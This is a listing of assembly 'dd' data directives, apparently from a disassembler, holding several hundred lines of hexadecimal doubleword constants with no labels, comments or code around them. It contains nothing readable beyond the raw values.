		dd 0B4935C54h, 5B608519h, 0DF012A7Bh, 86741444h, 0C420C188h
		dd 76821F4Fh, 372C8047h, 5AE8F249h, 2DDD7F0Ah, 3BED053h
		dd 0AAAE0868h, 0E045D3C4h, 0E3A97D5h, 857824DEh, 80840E27h
		dd 59D7EF6Eh, 0BE4ACA00h, 4B65ACD1h, 7619121Dh,	146C8235h
		dd 0D60D36C0h, 0A4226E00h, 0C2B4E57Fh, 0BC041DA3h, 85A6C106h
		dd 6046BA2Ch, 0DBF4C8DCh, 1170984Ch, 0E00218A5h, 457AEC04h
		dd 0A4000458h, 916420D9h, 4AB13A2h, 988856CDh, 3768D2C8h
		dd 0F4D91FC0h, 0CB64E316h, 90FD0881h, 0C198F0h,	0E72CD22h
		dd 0F0E36501h, 6B9E3300h, 20CCA0CBh, 8B7D2637h,	0C6C90964h
		dd 834F1848h, 8F197C00h, 0D185379Ch, 499E1CB4h,	4844D894h
		dd 1500CBF2h, 582B231Bh, 7B8C2DECh, 0AE7E001Fh,	3F0C8713h
		dd 0E5006F28h, 96A5BA91h, 12816088h, 13539DAFh,	89A44085h
		dd 662E27Ah, 970EB909h,	877C808Eh, 26B05FA4h, 40F0CF4Fh
		dd 1C25FA72h, 5BA1A300h, 711AAD7Eh, 0F3DD010Ch,	3DA29FEBh
		dd 0DB55F863h, 801D9E01h, 0C55AA691h, 0BB00303Dh, 254593C3h
		dd 0DB284666h, 0C13A011h, 0F008E14h, 0A30205F8h, 4E1A00FBh
		dd 0D9B496DFh, 7B18213Dh, 0E431CB52h, 991D2684h, 0E67C4090h
		dd 2B011280h, 47C927A5h, 0AAECC208h, 0F3700FAh,	0DCA0C0A2h
		dd 7B0E7103h, 4F40B65Eh, 281C7360h, 0FFA801BEh,	0F6959FF8h
		dd 435FC4h, 0B6948321h,	0EE87AF07h, 0D1B84700h,	6DB3AC02h
		dd 93241F22h, 7B4440A6h, 0B8E57E68h, 9BE8F89Ah,	141EB300h
		dd 5EED65CDh, 10B1019Ah, 0E49386F2h, 97C6C68h, 0C874D9EFh
		dd 0AAF8BCh, 0A251CF03h, 80CE0440h, 7CBBC501h, 694BCC6Dh
		dd 0F645DCDCh, 2D567CCFh, 1400AE98h, 0BF0DB5BEh, 32AA9500h
		dd 0E0872213h, 45C32D68h, 0F9DD2C10h, 0BC91360Bh, 0FF94C03Fh
		dd 90E7082Fh, 1600449Ah, 8BB5F44Bh, 104C90A1h, 27882B45h
		dd 0DE41803h, 0E080FF1Dh, 8EBC6ADAh, 8F260711h,	5828683Bh
		dd 727474EFh, 188A4Ch, 0D97A2BBh, 9D6C23h, 32956BBCh, 0EE7B300Ah
		dd 9464C700h, 0F479747Eh, 0A93C585Eh, 0A9884803h, 404C98F6h
		dd 3F90009Ch, 0C3752924h, 436A0030h, 0F70DA448h, 76001B2Bh
		dd 844227C9h, 7FC1AEh, 7222DAA0h, 50D96F1Dh, 0CC7AC801h
		dd 0FCBFEC0Dh, 0E156F0h, 23D7AB37h, 16ADB564h, 0F07D3E30h
		dd 79A6EF6h, 0B89E566h,	9C708014h, 93B8E684h, 0B8240E30h
		dd 4BCD5Ah, 0CC4EC1F8h,	59876A56h, 6C08C550h, 0EA578100h
		dd 200708D4h, 3951006Eh, 0E3B852EDh, 5400DABEh,	0AC89166Ah
		dd 0D59F33h, 0B4FF9C37h, 0F312C144h, 8B025077h,	0ECF1EA97h
		dd 0B349607Ch, 0D41E05AFh, 0D02A305Fh, 7D253AE8h, 2D6DA807h
		dd 4A902621h
		dd 1387CFh, 3D9DA45Fh, 172F4129h, 2BD07300h, 55F9A550h
		dd 15B200F0h, 26D1761Eh, 0AB017C6Ah, 0E05BD6A2h, 0A02FEA98h
		dd 83012EB4h, 61828117h, 60DA9C71h, 1277AEB8h, 0B8F251h
		dd 0FA498741h, 0AA093BE3h, 0C1E78CACh, 6BC80110h, 887291h
		dd 4063BA26h, 0C4ECE42h, 4607D600h, 608973EFh, 4B040718h
		dd 0E0176916h, 0F6679E75h, 50AC0600h, 80F7E079h, 5B77011Bh
		dd 0E73E41D7h, 5C10807Fh, 1DE146D6h, 1C76003Bh,	0C1DDD512h
		dd 30003C0Dh, 0C6509444h, 0FC655AD0h, 0D8C80036h, 7A599F9Bh
		dd 52460B5h, 480DC32h, 69B9C766h, 834B12AFh, 40B05FB4h
		dd 0CEE11C86h, 0BD016057h, 1A977410h, 81D453C2h, 957107E5h
		dd 5059F01Ch, 908539B8h, 5F9C1800h, 878FB26Fh, 80B60092h
		dd 50A5FD6Dh, 7A58FC12h, 410500D0h, 0A4B38171h,	83F825A1h
		dd 5CFD0081h, 0ADD01751h, 1DCB3067h, 63C643Eh, 2849894Ah
		dd 0ACC88807h, 71800735h, 7B61AFCEh, 4852006Eh,	2BEEF3FBh
		dd 511FF7A3h, 5800BA1h,	66E5A046h, 369024CDh, 0CBEB8AF0h
		dd 70CE0228h, 36010AD6h, 0FDF838E1h, 4C9F30F5h,	5942291h
		dd 0CDE87F00h, 0CF6E19C9h, 58895007h, 3560C07Ch, 0AE83F6D9h
		dd 0C2FC8001h, 5A62CF4Ch, 381AECh, 497C828Bh, 34063367h
		dd 9683B000h, 0E32302A9h, 0EFF40726h, 70367D44h, 18DD3BFBh
		dd 0F37AEB00h, 411BD212h, 747A4Eh, 0CFBB461Dh, 38677310h
		dd 0B88CF002h, 607E32E6h, 3B1F7Dh, 0B5DA3371h, 0F462D5DEh
		dd 0CC0E25E4h, 153F43h,	7784CD82h, 45120092h, 36A1EAB1h
		dd 0BD704339h, 8B390A8h, 470C4A74h, 0E924A572h,	31382ADDh
		dd 480509D8h, 0E060FFAAh, 60005AB5h, 0F3DE7489h, 3B690h
		dd 55D40D0h, 0E52595E3h, 0DD07C80Fh, 11DE80D5h,	0D189A2h
		dd 0C11942B6h, 7BA51B3h, 290C5300h, 0A123B5EEh,	145E5330h
		dd 0E0881B80h, 0F011CB9Eh, 4BA02806h, 7D0097D8h, 0F59ED33Dh
		dd 34FC903h, 0EECE0DE6h, 0B7985AFEh, 0A87C9344h, 634A5523h
		dd 70382D07h, 7441A9EFh, 280938C0h, 0FECB003Bh,	0D0C9C3C7h
		dd 0E07593EDh, 0E71583Dh, 0A42B4E9h, 0C05B349Ch, 2D0AB25h
		dd 0FF62C7F7h, 2098ECEFh, 0D80AD34Ch, 44EAE4B7h, 70ECC072h
		dd 4AA52ABFh, 0CC0200E0h, 7BEA143Ah, 8138AC41h,	9E2A0077h
		dd 0AA35586Dh, 0B009231h, 7F5A838Ah, 0C86CBD00h, 0AC909B67h
		dd 0DCBE2900h, 25D96A21h, 8059DE22h, 0BB23E9C9h, 0C001EE95h
		dd 5807E220h, 12F032EDh, 0C59B03A3h, 2EE3FE06h,	390050ABh
		dd 32C72D2Fh, 0DE93A3h,	0C37DB49Bh, 853FAAB6h, 39309C06h
		dd 28697BAFh, 6449AEh, 0F8470A65h, 0DFA6A808h, 79D38512h
		dd 0E5EC40A0h, 570570h,	180DA8Ch, 0BA3B8A61h, 0F0445209h
		dd 0DE007535h, 0AE250FBh, 2E04A9B0h, 32332FA2h,	9DD044C1h
		dd 5030D4D9h, 1FA009D6h, 4600AE21h, 7BFD1470h, 0C2282FE8h
		dd 4C7CB0A3h, 273E4F07h, 0D2E5D759h, 0C1CA00ABh, 58B37EC6h
		dd 7FFF451Fh, 0FC1F1D17h, 57FD6501h, 0DCD0539Bh, 1A3F00C3h
		dd 0B1C76DA6h, 0C033CF48h, 37808B9h, 0A6218021h, 0FE830DEh
		dd 17A1BFAh, 0F5DDD20Bh, 7F9D0313h, 0FF44E0BFh,	3E6500ACh
		dd 81C322FDh, 0DFE8E64Ch, 693CFE00h, 7F801415h,	67F90E32h
		dd 0EF8C348Eh, 11012621h, 2CB81B15h, 9BE47FB5h,	0FF81C048h
		dd 533740BEh, 6CE6511Ch, 38DD288Dh, 39D8AB21h, 4B51211h
		dd 1B4700B7h, 2CC19647h, 1218EE7Ch, 0DF49D253h,	3C33011Dh
		dd 4A182ED3h, 710C4052h, 6F7CB1CFh, 0A1C4E706h,	120DEF5h
		dd 0E124A07Dh, 0B2C0C3AFh, 30ADD8E0h, 2810156Dh, 2AE31F80h
		dd 0CEC10FFh, 3A01D7B9h, 0AEC71F70h, 0CC414ABBh, 3CBE639h
		dd 8B617D89h, 5E01060h,	0B50ECA1Ch, 0B887A3F2h,	4052C198h
		dd 0A87978DFh, 0FE8E400h, 0E1A4EFB0h, 9EA1079Bh, 2410A7h
		dd 0BD0766C5h, 4D5D7112h, 1EDDF800h, 506F43h, 0EF41E052h
		dd 4C9E2289h, 3CF56C00h, 1667E181h, 0B47464h, 35793F42h
		dd 48EDDD3Eh, 0A93855FEh, 0C3B80045h, 0D104BE2Eh, 2FC0033h
		dd 69BA73C7h, 75E26E94h, 9CF9A80Fh, 9308E0F4h, 46C84Fh
		dd 0C7FD3832h, 0CE40D558h, 52921500h, 0E1A85C98h, 0F5CB0028h
		dd 0F2B7B584h, 11398EEBh, 24C500FCh, 0AA22D5D6h, 6E7E0026h
		dd 40394285h, 9AFEF799h, 53A52900h, 0BD44DB90h,	86C81F95h
		dd 0EC4900C9h, 9EFB2739h, 0F0FCBA7Ch, 130C41FDh, 8C9C0846h
		dd 0E821F642h, 44F99788h, 25844594h, 4F186986h,	6047FC9Bh
		dd 0C55EF718h, 19A0C048h, 2F3403B9h, 3E6B6A18h,	24605421h
		dd 6908E31h, 18C7C1BDh,	0A186821Dh, 3B573931h, 3C5CD2F8h
		dd 3401C450h, 6A42BB93h, 0E0D3F43Ah, 99F88319h,	0A02BA430h
		dd 8A1EB20h, 0D384E08Ch, 0E13C71C0h, 3CD2C147h,	9806E527h
		dd 0C99DBCA5h, 7C430608h, 4AE20A20h, 23AE80ACh,	0C7DCE6E7h
		dd 0A11F510Bh, 3F2303B1h, 55C684F7h, 0A8E90029h, 8D5BBC86h
		dd 0C41DA59Ch, 5A1B9BCEh, 8750F021h, 0CB801EEAh, 9CE7410Dh
		dd 11E1334Dh, 0CE87159Fh, 2F9DE3F0h, 0A741E4A3h, 0C51D90BEh
		dd 0F4C01C5Bh, 0CF3F05F7h, 0EB0F0076h, 95850693h, 16F8F8A5h
		dd 0C0B8BC51h, 0C4006FF6h, 5F4B969Dh, 15F8267Bh, 0AC93E992h
		dd 3F229A00h, 80701E30h, 4B97100Eh, 32774608h, 48C01F70h
		dd 31A85852h, 44008BFAh, 0E335202Eh, 0CC7D1BBCh, 5B219708h
		dd 0D3443402h, 0A399BBEEh, 0F84C89A8h, 3F98Dh, 0ACC12BC6h
		dd 0F25501A3h, 619653Fh, 49C1798h, 40C41CC8h, 8C33473Ah
		dd 15AEB0DFh, 0D8C02BA7h, 3EBCDA55h, 22B91CADh,	6429C051h
		dd 5F09F639h, 1D731700h, 0EAE54BB2h, 72F0A0h, 2E9BAA76h
		dd 0E1D53F71h, 0D7837700h, 0C598B569h, 16D900CCh, 683CDE49h
		dd 0ED0E94C6h, 0A17BF2B8h, 93DBCBBDh, 36AC044Fh, 10D2D830h
		dd 7CF34D40h, 0AB730092h, 122DD326h, 0E200C63Dh, 5F33EAE6h
		dd 140A0E5h, 0B26FE83Bh, 88211A73h, 4C8D929h, 0C50FB474h
		dd 67568082h, 0B7720CA4h, 3E00FD7Eh, 0F913451Ch, 1DD21EF2h
		dd 818B2188h, 0AF02969Bh, 73EE20B4h, 4B5DB707h,	0AE601832h
		dd 0F063545Ah, 0BF47070Ch, 27EBAB52h, 0BEC650CEh, 0CC1F55EDh
		dd 0A4809266h, 0F22BDF44h, 0E5BE622h, 3C721696h, 7860F560h
		dd 19059AB6h, 0F15D65Ah, 9D4B00FEh, 0ACFE1D0Dh,	1ACA2406h
		dd 389543h, 2C4E398Ah, 0F1D049A7h, 0AC50053Ch, 0CA1C0436h
		dd 47837D00h, 5402B3h, 74FC4855h, 3C636EB2h, 49240FF2h
		dd 0CA00B95Ch, 30DFF996h, 0B275002Eh, 52FB1E7Bh, 68C07D48h
		dd 0FD850CBh, 5AE300B7h, 0C4721BCFh, 0DA007385h, 11D36D8Eh
		dd 0ECB61Ch, 4A616ECBh,	408DFC0Ah, 3209700h, 78926FE5h
		dd 544400F0h, 7E32EFF1h, 5200CA16h, 0E7797288h,	1C4B6A02h
		dd 0C0A7B5E9h, 27A666BBh, 1028C08Eh, 0DF1889EBh, 0A31090DAh
		dd 74FB00E5h, 738DF02Ch, 873B71F2h, 8B80969Ch, 4D894900h
		dd 0C16D28h, 35AE6117h,	2999C967h, 1B56EC00h, 54E45F25h
		dd 6A09093Bh, 0AE008EC7h, 0C27414FAh, 383C3049h, 0D7D000DAh
		dd 0A3ADA23Dh, 0A9650040h, 0E0F1FFE5h, 7907A61Dh, 903516ACh
		dd 80BE56A0h, 0AF4400EDh, 0F173709Eh, 3100DACFh, 55C3E777h
		dd 6F25C7h, 1EA7D98Ch, 344CCC5Fh, 11972A01h, 0BCFFE0BDh
		dd 60FD789Ch, 8018A738h, 3527A451h, 303154DEh, 4DA2CB5h
		dd 0B43DDF2Ah, 291B8072h, 20C40623h, 0A47C00D9h, 0D608ECBBh
		dd 0DE00EAB5h, 0C0610F98h
		dd 98DF8E9Eh, 0CFD10073h, 39D92A10h, 80F926A0h,	4920C010h
		dd 0E53CA5h, 6C77F5F3h,	0A0AA12D6h, 3D070300h, 66465860h
		dd 5FC50C84h, 1EB0CB9Eh, 0F9D2FE00h, 0C8EE0F6Fh, 396000FCh
		dd 7ABA318h, 691D4D5Fh,	8B806AC6h, 7E928004h, 0B99D005Dh
		dd 0C230EDCBh, 0CD002E98h, 0BE8F2093h, 3299CEFh, 5F56571Ah
		dd 71E02BFEh, 0EA009FDDh, 1087EB2Ah, 370CD50h, 0D0553DA5h
		dd 68000BABh, 7F4E3E3Ah, 7C192Ch, 81CE9DC8h, 0AAEAAB51h
		dd 9E976500h, 13C9BC85h, 7AE40CBBh, 4E2184B0h, 3D9D8D00h
		dd 1EFCEB22h, 0DFE40090h, 0CB8EF2A7h, 0DD002998h, 2694F17Ah
		dd 5F3855h, 63D3D4E1h, 1646EAC3h, 173D39h, 2627191Bh, 727EB6BFh
		dd 0CDB26B4h, 51349868h, 7B01131Dh, 9AC4D833h, 0E0CE9094h
		dd 26AA01E5h, 800C6339h, 645F18EAh, 0F1F2DF52h,	45D76A00h
		dd 244AED1Fh, 62E640h, 0AEFC2B4h, 895B9DF7h, 188103Ah
		dd 21FD71A2h, 48EB8753h, 5A0048E0h, 0BB889594h,	0C41A12C0h
		dd 0F799B5A6h, 9C1C7B41h, 0BBC0A779h, 0E747EF9h, 3C5249FDh
		dd 1E0ACE83h, 928B05E8h, 55C0FE0Eh, 0DFFAE065h,	5199F57h
		dd 84EF40D7h, 13BFC0D5h, 74E88292h, 9448FC7Dh, 0CC508094h
		dd 0D49BB5h, 217CDF37h,	4F6F0A66h, 0D2FDB700h, 7F08A8A1h
		dd 0F578C02Bh, 769A9205h, 89685A00h, 0D0972F44h, 0CF5103DAh
		dd 4D5E86ACh, 0E11E0DD0h, 45E6BC00h, 7E8B814Fh,	0B0F35441h
		dd 841B0208h, 0C01F8A0Fh, 87E0086Bh, 3F3D6FFDh,	0DB3A0375h
		dd 48AF770h, 0CE6D7C66h, 0AE08D15Bh, 79500801h,	6B19013Bh
		dd 0E85CEDB4h, 30A88A29h, 0E6008E0Ah, 7170C7DDh, 0BE522842h
		dd 0E05700D0h, 0EEA44010h, 4E073F8h, 0B74D9802h, 0C0E783EBh
		dd 13F99A6Ch, 7529E9h, 0F049ED90h, 4F000214h, 0C4F6778Fh
		dd 91260A6Ah, 920F024Ch, 0DC805AF4h, 497C2DE0h,	661840B2h
		dd 9DF9E6E1h, 0A7D721Eh, 36B441F1h, 0EE1A01B8h,	872A5134h
		dd 16887EB8h, 13554990h, 0C2CF0089h, 9172A21Dh,	360E0EE8h
		dd 8086114Eh, 0F644E1E7h, 0D2733BEEh, 5D3AC8BEh, 0EFAA2285h
		dd 3CDC9093h, 28EE9FC0h, 2C4D1A24h, 48F8409Fh, 0BC5060Ah
		dd 3C886CE2h, 0F180D751h, 8E25B2CCh, 8D00AA39h,	9CBA06E4h
		dd 424C556h, 0E0ABD742h, 39F0D87Bh, 0C0DB4900h,	9660BB61h
		dd 18D89888h, 0F997BA12h, 240F9982h, 32E98F3Ah,	0D80E840Ah
		dd 54104C00h, 92CFEF20h, 3488006Ch, 981B4A5Fh, 0F6031C05h
		dd 77DB5D4h, 0EED014DDh, 24B01856h, 0E600E953h,	7CD4E1Ah
		dd 7E70FB2Ch, 0A1BE0A64h, 80B8F8E7h, 1E04224Dh,	1C060880h
		dd 0E9DD8248h, 7BC05A9h, 156AA2Ah, 700B5894h, 0AE60CE74h
		dd 3500915Fh, 6F49C65Dh, 924F9506h, 0FE671D48h,	23F2C0D0h
		dd 0C548E8EDh, 523DC616h, 0E40C1439h, 0F94B2B7h, 59E1BAC2h
		dd 69AE0940h, 0F33BA18Dh, 75128083h, 314D1F32h,	3A047A60h
		dd 3F800A2Dh, 0B4B80E4Bh, 1B00C5CAh, 499F756Dh,	0E7E28Eh
		dd 0BA10E453h, 0B0E6968Ah, 7418981Fh, 416D2000h, 3B4FADAh
		dd 0D6D92502h, 0A4D0C9E0h, 190058A9h, 0C64A9F8Ah, 0FE44BC2h
		dd 6CB16A80h, 0C0A23905h, 0EEF3398h, 0B5277E07h, 0C06FF78Bh
		dd 864A4B98h, 0C4C00FFCh, 1C008AD7h, 463A8812h,	0CFA7BC05h
		dd 0E0402A62h, 0CDA9040h, 0DC544896h, 6D84157Fh, 0D300C08Fh
		dd 0BD267172h, 0C400FFFBh, 3E929748h, 0AF252F3h, 9C08EE03h
		dd 4160058Ch, 0F5D3C276h, 0C056ECA5h, 14936A5Bh, 6E4DD31Fh
		dd 8792E345h, 85A090C7h, 9004BAh, 0C6E8CCAFh, 0A5F50A7Bh
		dd 0E9158A1Eh, 15B4B00h, 48FC99h, 0DAE77E38h, 0B2CDF41Ch
		dd 6C71F52Ch, 2149830Eh, 0D3BCB9CBh, 0C4BDD8h, 0A54F063Dh
		dd 306586CDh, 0D2E9E9C0h, 1C22879Fh, 258E0B3h, 0E1D768DBh
		dd 99F6DE00h, 2DF00003h, 0BE5FFF41h, 0D77BC42h,	3E40DC64h
		dd 40B9DC8Ch, 2700345Ah, 2B56EACCh, 1352414Fh, 4089A6F4h
		dd 0E80C23DCh, 34968AD1h, 7B801001h, 0B822F7EAh, 0B8D0F939h
		dd 5C3C90B6h, 48009043h, 678DC525h, 45205749h, 61271DA8h
		dd 0FEB401Eh, 0DD87A7Eh, 0EFB5D50Ch, 9190A1DBh,	2D7462C4h
		dd 0DA85AC60h, 32C9E9C1h, 0C026FA31h, 7A892081h, 538F051h
		dd 0BA4BB100h, 4F5E0F76h, 0C4F85DF1h, 0A48E2Ch,	3505B708h
		dd 0E780DA0h, 58D05600h, 0A560E514h, 617A60B0h,	0EB10F1DCh
		dd 0C931563Fh, 0E127052Ch, 8051B2h, 0EA5BBB1h, 2A08AB1Dh
		dd 5FA1FC3h, 9608C8FDh,	39DDF9FAh, 0D7BA14C1h, 4C288DBEh
		dd 0B4406788h, 0C00771h, 0F587C648h, 7901155Fh,	3D85950h
		dd 70253226h, 5AAEB500h, 0F8083153h, 2FE60CA1h,	6D8464Ch
		dd 0E06FB10Ch, 2CF7CA97h, 0FC9EF2h, 0BD4A09A4h,	0A100B750h
		dd 89B30471h, 5D95C106h, 812E18C2h, 0ACA1608Ch,	0B00FE33h
		dd 60B4D286h, 0CA09920h, 353C2784h, 0C4AEA288h,	11DCDE0Ch
		dd 3B1064h, 16F5D998h, 99F0BC51h, 5E8E7017h, 0F4C0F201h
		dd 0E2C47137h, 0C1692E1Ch, 0A1EE045Ch, 0E0CB72h, 64C55DB3h
		dd 0F65FB0h, 0E7BBE81Eh, 0D3BFD511h, 34912814h,	1F8C0790h
		dd 6A40F8F9h, 2728E9Ah,	0E2E33C49h, 0D0800638h,	78D96B35h
		dd 5B00C89Ah, 2FAF13CAh, 16C407EEh, 409476B8h, 0A93A5CF8h
		dd 471EB361h, 0AA8180CEh, 1618423Fh, 5CE003FFh,	0BE75EE53h
		dd 95ABCBB0h, 0F67A8E00h, 68A6BCB4h, 0C9EA00FCh, 0B7DD7678h
		dd 0AC92C7F8h, 2A005475h, 457F861Ah, 0B83CC94h,	0AB019D1h
		dd 0C792A825h, 80ACDA87h, 2E99A7E1h, 3DF8B2D6h,	0A2810B60h
		dd 0DE4A8Ch, 0ADC8FDEAh, 9FA94616h, 4D753E0Eh, 0B2638006h
		dd 0F1AB69EEh, 540E4024h, 695ACA1h, 0ACAC6F9h, 63E9947h
		dd 97CB89DEh, 6F10A3EBh, 50391D38h, 0EE30A078h,	973C30CCh
		dd 49E7003Fh, 0A3ECC0D5h, 393A01C5h, 428B00B6h,	5EF64DF5h
		dd 0AFD013FBh, 8D800037h, 26EA9770h, 0B48549h, 1F2C0B32h
		dd 0DDC62Dh, 0A7C5941Bh, 0C7D49763h, 4C90717Bh,	0B3A51100h
		dd 7F360BD7h, 67D0008Bh, 4352A05Bh, 217B9062h, 8A05A603h
		dd 0B0AB3C86h, 41AFD6h,	0AEFD7DDEh, 1A8CD799h, 0FB0705E6h
		dd 1C3B6AD8h, 4504BB0h,	2A0100D1h, 3A5FEE17h, 0C4030E4Fh
		dd 0F0E226E4h, 8A2FA794h, 2E00B0BBh, 4373599Dh,	0E1393D13h
		dd 0BC908E00h, 98BBA84Bh, 0E900009Ah, 0B66CAF44h, 0A0DED984h
		dd 0C109B3h, 0C3DB69C9h, 0C52E3D78h, 6CFE1000h,	0F9571AA6h
		dd 6E9600A9h, 5F4FC6E4h, 0F104A8BCh, 42316DBFh,	18D447C0h
		dd 60FE23h, 40070A16h, 0E78AE81h, 8735A000h, 2DF5D625h
		dd 5C0D0064h, 72CACC76h, 0EC00CD1Eh, 0EA8FC656h, 105948h
		dd 0C8465D19h, 1AD31899h, 4CC9BB00h, 0F4840FD8h, 29A80108h
		dd 218068F1h, 0B8CDC8FBh, 0CF029804h, 8022A7h, 7AAB648h
		dd 0D264BDA9h, 5461306Fh, 420F1BA8h, 87624413h,	4B204023h
		dd 2AB09D9h, 3763D3C1h,	5CE05036h, 27017961h, 0F675A2DCh
		dd 0E8DCC8BBh, 4BA600EDh, 87C28D6Ah, 0C500E399h, 0C923DED5h
		dd 17FFD7Eh, 4A43D9ECh,	0CC4CA147h, 0F30381F1h,	14D5CB3Ch
		dd 9309A891h, 0F6C10117h, 7AC696F4h, 5F0BD032h,	58F558h
		dd 785A3876h, 0F13E4Ch,	2EB7FFA1h, 52F7029Ch, 0FC042700h
		dd 0B5636B89h, 751D007Ch, 0BFE784F3h, 3607B79Dh, 9B2DB47Ah
		dd 205BA590h, 0D50E0BB6h, 8B8138C5h, 64223F52h,	11032C98h
		dd 0FF9BC7Ch, 0C9E3C057h, 33145896h, 48803C3Eh,	4A569482h
		dd 8AE2CA0Fh
		dd 9217A778h, 700AE21h,	0ED7F7063h, 0CCDD0050h,	0D857B956h
		dd 0FB0910CFh, 0C0D2C819h, 49BEA4FCh, 1F01D489h, 0E12410FDh
		dd 755474F3h, 0D5BB8600h, 0E4B74A71h, 0C0CF070Bh, 61B8FC19h
		dd 0CC3CD24Bh, 0A600F267h, 0C4BA638Bh, 77BFD9Dh, 944DEA57h
		dd 12B305Ch, 0A9033829h, 0B4B2EBA2h, 249283FFh,	0A480E8h
		dd 0B5E73EE0h, 4300888Ah, 3B8698E8h, 78E5FC0h, 0CE3AE696h
		dd 0FDBB608Bh, 0C500689Fh, 8F655A78h, 1D39513h,	0AE5954C4h
		dd 0CF7536BAh, 0F657E804h, 1B41D1B9h, 0F0ACD786h, 3000C065h
		dd 0B59DAA41h, 0FFBA75Bh, 9ABD1188h, 3D946B80h,	2C033F7Ch
		dd 4B427108h, 3AC5C0EEh, 0AED0BF77h, 0FAE4BC00h, 34EFD3DFh
		dd 0A05F059Dh, 819308E2h, 0C054561Ah, 48C17077h, 99E735Eh
		dd 0DF41DCh, 0C88E63C6h, 1B9B4411h, 0AD064000h,	1B2B70Ch
		dd 46FC0E5Bh, 3E60CC43h, 3A7F6732h, 2514971Ch, 0E4C2DE40h
		dd 16019C17h, 0D67A38h,	6434C75Fh, 3A710714h, 35074E76h
		dd 7AEF7645h, 0AD10E9C1h, 9F750E8h, 71AC3E8Eh, 0B72EDC00h
		dd 0A25C6E2Ch, 0B8EA007Dh, 0FF900DAAh, 9A70059h, 209C2754h
		dd 4F0B52CAh, 631607CDh, 0D3F198BCh, 1FA12C7Eh,	11E38038h
		dd 23015DB2h, 5A048272h, 24287841h, 565BB8C7h, 51560714h
		dd 666C908Fh, 1C281372h, 8B2E080Fh, 0C824BCBAh,	0B6257900h
		dd 251CFA54h, 60002886h, 0EAA6124Ah, 1E904000h,	395A0881h
		dd 3CCA5C61h, 9138E001h, 0BC11E8B5h, 8FD00030h,	552BF004h
		dd 0F790ACh, 7CCBD62Ch,	8936CC4Eh, 48902E05h, 96815EFEh
		dd 284859F7h, 26913C08h, 0C530F601h, 50DEA2B5h,	0FE65C80h
		dd 5504BC07h, 3E8392C8h, 0E01100E5h, 791E502Fh,	0CC054BF6h
		dd 0A89E5149h, 2AC5D0D7h, 42966800h, 74EEA901h,	4AA7003Fh
		dd 4B40A89Bh, 0B2019C2Fh, 0DC5EC3D0h, 1CF0DE42h, 6C9A1847h
		dd 0AC72A174h, 633A7300h, 1819E289h, 6A763DA9h,	0A90BF498h
		dd 0D97BB949h, 0E0350A00h, 2169FA39h, 0E3EE30A6h, 4A1422C6h
		dd 0A1D1B11Eh, 709A4C03h, 32A8010Eh, 0C87564F3h, 7A2DF0C5h
		dd 4DE53Eh, 0A59C47C1h,	0C7DE3Bh, 2F9AD45Ch, 0F2724C03h
		dd 0B9CFE31Dh, 3DE81483h, 48A5980Ch, 53601D91h,	9B154A2Ah
		dd 1A178284h, 34403AF6h, 9E057458h, 94D9E746h, 90434184h
		dd 0F0455D4Dh, 5E2978h,	22141230h, 63E6E37Dh, 705AC1F1h
		dd 640E01A5h, 98708546h, 1CE5310h, 9AE1D50Bh, 8CF9CCA9h
		dd 20664B09h, 3E0BFCB3h, 0BE8C4C65h, 0FC39602Fh, 1A341001h
		dd 173E846Ah, 304138C0h, 0EBA842F2h, 0B8005CD1h, 0FBFF4EE3h
		dd 0D127382h, 59BCA617h, 33C4E040h, 0F3E83600h,	0DD7F7162h
		dd 8F08CC3Bh, 3A009B21h, 9E0F5936h, 189594AEh, 8074CF50h
		dd 0D30012F8h, 7F4713F0h, 0F8737B81h, 1C577F55h, 0F0292E2h
		dd 1340F4BFh, 2CAF36FAh, 85050404h, 0F0005D78h,	0BFA3E8CDh
		dd 64A05103h, 0D069D112h, 3F31CE99h, 3C02FEE4h,	0F4977395h
		dd 0C0CD3C85h, 85F253C1h, 0DB7D5901h, 0D2314D73h, 0B9948BE5h
		dd 9060C395h, 0B29BB767h, 0F9F77B00h, 97A655ABh, 5287155Ah
		dd 952FA47Eh, 75C20C0h,	57853718h, 0F6872B19h, 9D1800CBh
		dd 0BC7AD0A6h, 59006E5Eh, 0C31F7688h, 0D711EDh,	0BDDD8FA4h
		dd 51861999h, 6218D0A4h, 0E9897EDEh, 0CAC1C0A4h, 60E319A8h
		dd 4F31D600h, 6323F8AFh, 7DA90C6Dh, 763077C9h, 0A33FBE07h
		dd 5A21C150h, 8951191h,	0D800B47Ah, 36C63FAAh, 6061F9D2h
		dd 4620DDF9h, 309CA4E4h, 10891C30h, 2E035EFDh, 0D89E4DCAh
		dd 0F385EB8Eh, 0A139E6F4h, 0ED19BC0Ch, 75C56B36h, 20900C62h
		dd 0C63634F1h, 4E75D00h, 0D5721441h, 0CE953145h, 600E9EC1h
		dd 0E7F248E8h, 8E018100h, 0DC6726B7h, 2CC7FA36h, 0CB1169h
		dd 2B20C4Eh, 5D091840h,	21798CBDh, 951D6610h, 36E6C4h
		dd 0E07F50C3h, 720EEF04h, 19DC893Ch, 64901845h,	74E7E520h
		dd 31303766h, 857C541h,	0F8CBA8ACh, 0A9502B72h,	208011ACh
		dd 69CF00D1h, 0C4194B15h, 95189944h, 16207643h,	85E703AFh
		dd 66F8D239h, 0C4066928h, 0B0885BF8h, 31856F38h, 0B1AE2C00h
		dd 0B912B803h, 804067E9h, 0E7CAC45Ch, 73F20334h, 30870B2Ah
		dd 9E8BABBh, 9F0EF605h,	40579606h, 63A3FBE7h, 6461CE31h
		dd 0CB3AD8A4h, 65A8C424h, 4E1DEF30h, 53D81900h,	63B869E7h
		dd 54AE49DEh, 4CFA870Ch, 8D6080D9h, 0DD9B1A71h,	18831686h
		dd 0C1F80007h, 53375223h, 1E76A998h, 0F363CD15h, 0FE0F7B50h
		dd 6834DB6h, 1F6018A7h,	4302FDE9h, 9EDB7C64h, 0F405ED90h
		dd 0F0919573h, 13E47000h, 3B737C11h, 52864DFDh,	0F0DA75C1h
		dd 0A5023B46h, 0A2E1BE0Ah, 21BE6E31h, 470B17FAh, 347103ADh
		dd 481F940Eh, 0D081DDDBh, 0AF825E65h, 66EE788Ah, 2F8180CCh
		dd 12E343EDh, 6BA05000h, 0C2537C5Eh, 889324E5h,	0D5958014h
		dd 3D26F23Fh, 4800247Ah, 2B22E8FCh, 50BFE485h, 245F8064h
		dd 49047E81h, 41824C06h, 9AC44F05h, 0AFE0D4AEh,	7433040Bh
		dd 0AB98E06Eh, 3E4C9903h, 94B03868h, 0FD503Ah, 99D837CDh
		dd 67902C65h, 0FD649AC4h, 0FF300C8h, 6163DC2Dh,	6774B180h
		dd 0FB3C982Ch, 3950018Ah, 0D0FFCC80h, 2494E8h, 7A5764ECh
